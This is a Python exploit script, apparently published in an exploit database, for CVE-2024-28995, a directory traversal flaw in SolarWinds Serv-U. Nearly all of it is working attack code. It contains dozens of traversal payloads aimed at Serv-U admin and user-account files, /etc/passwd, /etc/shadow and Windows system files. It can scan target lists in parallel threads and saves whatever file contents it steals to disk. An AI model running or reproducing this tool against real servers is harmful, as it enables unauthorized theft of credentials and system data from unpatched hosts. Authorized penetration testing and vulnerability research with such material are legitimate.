# Exploit Title: SolarWinds Serv-U 15.4.2 HF1 - Directory Traversal # Date: 2025-05-28 # Exploit Author: @ibrahimsql # Exploit Author's github: https://github.com/ibrahimsql # Vendor Homepage: https://www.solarwinds.com/serv-u-managed-file-transfer-server # Software Link: https://www.solarwinds.com/serv-u-managed-file-transfer-server/registration # Version: <= 15.4.2 HF1 # Tested on: Kali Linux 2024.1 # CVE: CVE-2024-28995 # Description: # SolarWinds Serv-U was susceptible to a directory traversal vulnerability that would allow # attackers to read sensitive files on the host machine. This exploit demonstrates multiple # path traversal techniques to access Serv-U log files and other system files on both # Windows and Linux systems. # # References: # - https://nvd.nist.gov/vuln/detail/cve-2024-28995 # - https://www.rapid7.com/blog/post/2024/06/11/etr-cve-2024-28995-trivially-exploitable-information-disclosure-vulnerability-in-solarwinds-serv-u/ # - https://thehackernews.com/2024/06/solarwinds-serv-u-vulnerability-under.html # Requirements: urllib3>=1.26.0 , colorama>=0.4.4 , requests>=2.25.0 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse import concurrent.futures import json import os import re import sys import time from concurrent.futures import ThreadPoolExecutor, as_completed from urllib.parse import urlparse import requests from colorama import Fore, Back, Style, init # Initialize colorama init(autoreset=True) # Disable SSL warnings try: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) except ImportError: pass BASE_DIR = os.path.dirname(os.path.abspath(__file__)) BANNER = rf''' {Fore.CYAN} ______ _______ ____ ___ ____ _ _ ____ ___ ___ ___ ____ / ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \( _ )/ _ \ / _ \| ___| | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) / _ \ (_) | (_) |___ \ | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ (_) \__, |\__, |___) | \____| \_/ |_____| |_____|\___/_____| |_| |_____\___/ /_/ /_/|____/ {Fore.YELLOW} SolarWinds Serv-U Directory Traversal Exploit {Fore.RED} CVE-2024-28995 by @ibrahimsql {Style.RESET_ALL} ''' class ScanResult: def __init__(self, url, is_vulnerable=False, version=None, os_type=None, file_content=None, path=None): self.url = url self.is_vulnerable = is_vulnerable self.version = version self.os_type = os_type self.file_content = file_content self.path = path self.timestamp = time.strftime("%Y-%m-%d %H:%M:%S") def to_dict(self): return { "url": self.url, "is_vulnerable": self.is_vulnerable, "version": self.version, "os_type": self.os_type, "path": self.path, "timestamp": self.timestamp } def print_banner(): print(BANNER) def normalize_url(url): """Normalize URL to ensure it has http/https protocol.""" if not url.startswith('http'): url = f"https://{url}" return url.rstrip('/') def extract_server_version(headers): """Extract Serv-U version from server headers if available.""" if 'Server' in headers: server_header = headers['Server'] # Look for Serv-U version pattern match = re.search(r'Serv-U/(\d+\.\d+\.\d+)', server_header) if match: return match.group(1) return None def is_vulnerable_version(version): """Check if the detected version is vulnerable (15.4.2 HF1 or lower).""" if not version: return None try: # Split version numbers major, minor, patch = map(int, version.split('.')) # Vulnerable if lower than 15.4.2 HF2 if major < 15: return True elif major == 15: if minor < 4: return True elif minor == 4: if patch <= 2: # We're assuming patch 2 is 15.4.2 HF1 which is vulnerable return True except: pass return False def get_request(url, timeout=15): """Make a GET request to the specified URL.""" try: response = requests.get(url, verify=False, timeout=timeout, allow_redirects=False) return response except requests.RequestException as e: return None def detect_os_type(content): """Detect the operating system type from the file content.""" if any(indicator in content for indicator in ["root:", "bin:x:", "daemon:", "/etc/", "/home/", "/var/"]): return "Linux" elif any(indicator in content for indicator in ["[fonts]", "[extensions]", "[Mail]", "Windows", "ProgramData", "Program Files"]): return "Windows" return None def get_default_payloads(): """Return a list of directory traversal payloads specific to CVE-2024-28995.""" return [ # Windows payloads - Serv-U specific files {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log"}, {"path": "/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt"}, {"path": "/?InternalDir=\\..\\..\\..\\..\\ProgramData\\RhinoSoft\\Serv-U\\&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt2"}, {"path": "/?InternalDir=../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Alt3"}, {"path": "/?InternalDir=../../../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt", "name": "Serv-U Startup Log Deep"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUStartupLog.txt", "name": "Serv-U Startup Log Alt4"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.Log", "name": "Serv-U Log"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServULog.txt", "name": "Serv-U Log Alt"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUErrorLog.txt", "name": "Serv-U Error Log"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-ErrorLog.txt", "name": "Serv-U Error Log Alt"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U.ini", "name": "Serv-U Config"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=ServUAdmin.ini", "name": "Serv-U Admin Config"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=Users.txt", "name": "Serv-U Users"}, {"path": "/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/Users/&InternalFile=UserAccounts.txt", "name": "Serv-U User Accounts"}, # Verify Windows with various system files {"path": "/?InternalDir=/../../../../windows&InternalFile=win.ini", "name": "Windows ini"}, {"path": "/?InternalDir=\\..\\..\\..\\..\\windows&InternalFile=win.ini", "name": "Windows ini Alt"}, {"path": "/?InternalDir=../../../../windows&InternalFile=win.ini", "name": "Windows ini Alt2"}, {"path": "/?InternalDir=../../../../../../windows&InternalFile=win.ini", "name": "Windows ini Deep"}, {"path": "/?InternalDir=/./../../../Windows/system.ini", "name": "Windows system.ini"}, {"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=drivers.ini", "name": "Windows drivers.ini"}, {"path": "/?InternalDir=/./../../../Windows/System32/drivers/etc/&InternalFile=hosts", "name": "Windows hosts"}, {"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=config.nt", "name": "Windows config.nt"}, {"path": "/?InternalDir=/./../../../Windows/System32/&InternalFile=ntuser.dat", "name": "Windows ntuser.dat"}, {"path": "/?InternalDir=/./../../../Windows/boot.ini", "name": "Windows boot.ini"}, # Verify Linux with various system files {"path": "/?InternalDir=\\..\\..\\..\\..\\etc&InternalFile=passwd", "name": "Linux passwd"}, {"path": "/?InternalDir=/../../../../etc^&InternalFile=passwd", "name": "Linux passwd Alt"}, {"path": "/?InternalDir=\\..\\..\\..\\..\\etc/passwd", "name": "Linux passwd Alt2"}, {"path": "/?InternalDir=../../../../etc&InternalFile=passwd", "name": "Linux passwd Alt3"}, {"path": "/?InternalDir=../../../../../../etc&InternalFile=passwd", "name": "Linux passwd Deep"}, {"path": "/?InternalDir=/./../../../etc/&InternalFile=shadow", "name": "Linux shadow"}, {"path": "/?InternalDir=/./../../../etc/&InternalFile=hosts", "name": "Linux hosts"}, {"path": "/?InternalDir=/./../../../etc/&InternalFile=hostname", "name": "Linux hostname"}, {"path": "/?InternalDir=/./../../../etc/&InternalFile=issue", "name": "Linux issue"}, {"path": "/?InternalDir=/./../../../etc/&InternalFile=os-release", "name": "Linux os-release"} ] def create_custom_payload(directory, filename): """Create a custom payload with the specified directory and filename.""" # Try both encoding styles payloads = [ {"path": f"/?InternalDir=/./../../../{directory}&InternalFile={filename}", "name": f"Custom {filename}"}, {"path": f"/?InternalDir=/../../../../{directory}^&InternalFile={filename}", "name": f"Custom {filename} Alt"}, {"path": f"/?InternalDir=\\..\\..\\..\\..\\{directory}&InternalFile={filename}", "name": f"Custom {filename} Alt2"} ] return payloads def load_wordlist(wordlist_path): """Load custom paths from a wordlist file.""" payloads = [] try: with open(wordlist_path, 'r') as f: for line in f: line = line.strip() if line and not line.startswith('#'): # Check if the line contains a directory and file separated by a delimiter if ':' in line: directory, filename = line.split(':', 1) payloads.extend(create_custom_payload(directory, filename)) else: # Assume it's a complete path payloads.append({"path": line, "name": f"Wordlist: {line[:20]}..."}) return payloads except Exception as e: print(f"{Fore.RED}[!] Error loading wordlist: {e}{Style.RESET_ALL}") return [] def scan_target(url, custom_payloads=None): """Scan a target URL for the CVE-2024-28995 vulnerability.""" url = normalize_url(url) result = ScanResult(url) # Try to get server version first try: response = get_request(url) if response and response.headers: result.version = extract_server_version(response.headers) vulnerable_version = is_vulnerable_version(result.version) if vulnerable_version is False: print(f"{Fore.YELLOW}[*] {url} - Serv-U version {result.version} appears to be patched{Style.RESET_ALL}") # Still continue scanning as version detection may not be reliable except Exception as e: pass # Get all payloads to try payloads = get_default_payloads() if custom_payloads: payloads.extend(custom_payloads) # Try each payload for payload in payloads: full_url = f"{url}{payload['path']}" try: print(f"{Fore.BLUE}[*] Trying: {payload['name']} on {url}{Style.RESET_ALL}") response = get_request(full_url) if response and response.status_code == 200: content = response.text # Check if the response contains meaningful content if len(content) > 100: # Arbitrary threshold to filter out error pages os_type = detect_os_type(content) if os_type: result.is_vulnerable = True result.os_type = os_type result.file_content = content result.path = payload['path'] print(f"{Fore.GREEN}[+] {Fore.RED}VULNERABLE: {url} - {payload['name']} - Detected {os_type} system{Style.RESET_ALL}") # Successful match - no need to try more payloads return result except Exception as e: continue if not result.is_vulnerable: print(f"{Fore.RED}[-] Not vulnerable: {url}{Style.RESET_ALL}") return result def scan_multiple_targets(targets, custom_dir=None, custom_file=None, wordlist=None): """Scan multiple targets using thread pool.""" results = [] custom_payloads = [] # Add custom payloads if specified if custom_dir and custom_file: custom_payloads.extend(create_custom_payload(custom_dir, custom_file)) # Add wordlist payloads if specified if wordlist: custom_payloads.extend(load_wordlist(wordlist)) print(f"{Fore.CYAN}[*] Starting scan of {len(targets)} targets with {len(custom_payloads) + len(get_default_payloads())} payloads{Style.RESET_ALL}") # Use fixed thread count of 10 with ThreadPoolExecutor(max_workers=10) as executor: future_to_url = {executor.submit(scan_target, target, custom_payloads): target for target in targets} for future in as_completed(future_to_url): try: result = future.result() results.append(result) except Exception as e: print(f"{Fore.RED}[!] Error scanning {future_to_url[future]}: {e}{Style.RESET_ALL}") return results def save_results(results, output_file): """Save scan results to a JSON file.""" output_data = [result.to_dict() for result in results] try: with open(output_file, 'w') as f: json.dump(output_data, f, indent=2) print(f"{Fore.GREEN}[+] Results saved to {output_file}{Style.RESET_ALL}") except Exception as e: print(f"{Fore.RED}[!] Error saving results: {e}{Style.RESET_ALL}") def save_vulnerable_content(result, output_dir): """Save the vulnerable file content to a file.""" if not os.path.exists(output_dir): os.makedirs(output_dir) # Create a safe filename from the URL parsed_url = urlparse(result.url) safe_filename = f"{parsed_url.netloc.replace(':', '_')}.txt" output_path = os.path.join(output_dir, safe_filename) try: with open(output_path, 'w') as f: f.write(f"URL: {result.url}\n") f.write(f"Path: {result.path}\n") f.write(f"Version: {result.version or 'Unknown'}\n") f.write(f"OS Type: {result.os_type or 'Unknown'}\n") f.write(f"Timestamp: {result.timestamp}\n") f.write("\n--- File Content ---\n") f.write(result.file_content) print(f"{Fore.GREEN}[+] Saved vulnerable content to {output_path}{Style.RESET_ALL}") except Exception as e: print(f"{Fore.RED}[!] Error saving content: {e}{Style.RESET_ALL}") def main(): parser = argparse.ArgumentParser(description="CVE-2024-28995 - SolarWinds Serv-U Directory Traversal Scanner") parser.add_argument("-u", "--url", help="Target URL") parser.add_argument("-f", "--file", help="File containing a list of URLs to scan") parser.add_argument("-d", "--dir", help="Custom directory path to read (e.g., ProgramData/RhinoSoft/Serv-U/)") parser.add_argument("-n", "--filename", help="Custom filename to read (e.g., Serv-U-StartupLog.txt)") parser.add_argument("-w", "--wordlist", help="Path to wordlist containing custom paths to try") parser.add_argument("-o", "--output", help="Output JSON file to save results") args = parser.parse_args() print_banner() # Validate arguments if not args.url and not args.file: parser.print_help() print(f"\n{Fore.RED}[!] Error: Either -u/--url or -f/--file is required{Style.RESET_ALL}") sys.exit(1) targets = [] # Get targets if args.url: targets.append(args.url) if args.file: try: with open(args.file, "r") as f: targets.extend([line.strip() for line in f.readlines() if line.strip()]) except Exception as e: print(f"{Fore.RED}[!] Error reading file {args.file}: {e}{Style.RESET_ALL}") sys.exit(1) # Deduplicate targets targets = list(set(targets)) if not targets: print(f"{Fore.RED}[!] No valid targets provided.{Style.RESET_ALL}") sys.exit(1) print(f"{Fore.CYAN}[*] Loaded {len(targets)} target(s){Style.RESET_ALL}") # Set output file output_file = args.output or f"cve_2024_28995_results_{time.strftime('%Y%m%d_%H%M%S')}.json" # Start scanning results = scan_multiple_targets(targets, args.dir, args.filename, args.wordlist) # Process results vulnerable_count = sum(1 for result in results if result.is_vulnerable) print(f"\n{Fore.CYAN}[*] Scan Summary:{Style.RESET_ALL}") print(f"{Fore.CYAN}[*] Total targets: {len(results)}{Style.RESET_ALL}") print(f"{Fore.GREEN if vulnerable_count > 0 else Fore.RED}[*] Vulnerable targets: {vulnerable_count}{Style.RESET_ALL}") # Save results save_results(results, output_file) # Save vulnerable file contents for result in results: if result.is_vulnerable and result.file_content: save_vulnerable_content(result, "vulnerable_files") print(f"\n{Fore.GREEN}[+] Scan completed successfully!{Style.RESET_ALL}") if __name__ == "__main__": try: main() except KeyboardInterrupt: print(f"\n{Fore.YELLOW}[!] Scan interrupted by user{Style.RESET_ALL}") sys.exit(0) except Exception as e: print(f"\n{Fore.RED}[!] An error occurred: {e}{Style.RESET_ALL}") sys.exit(1)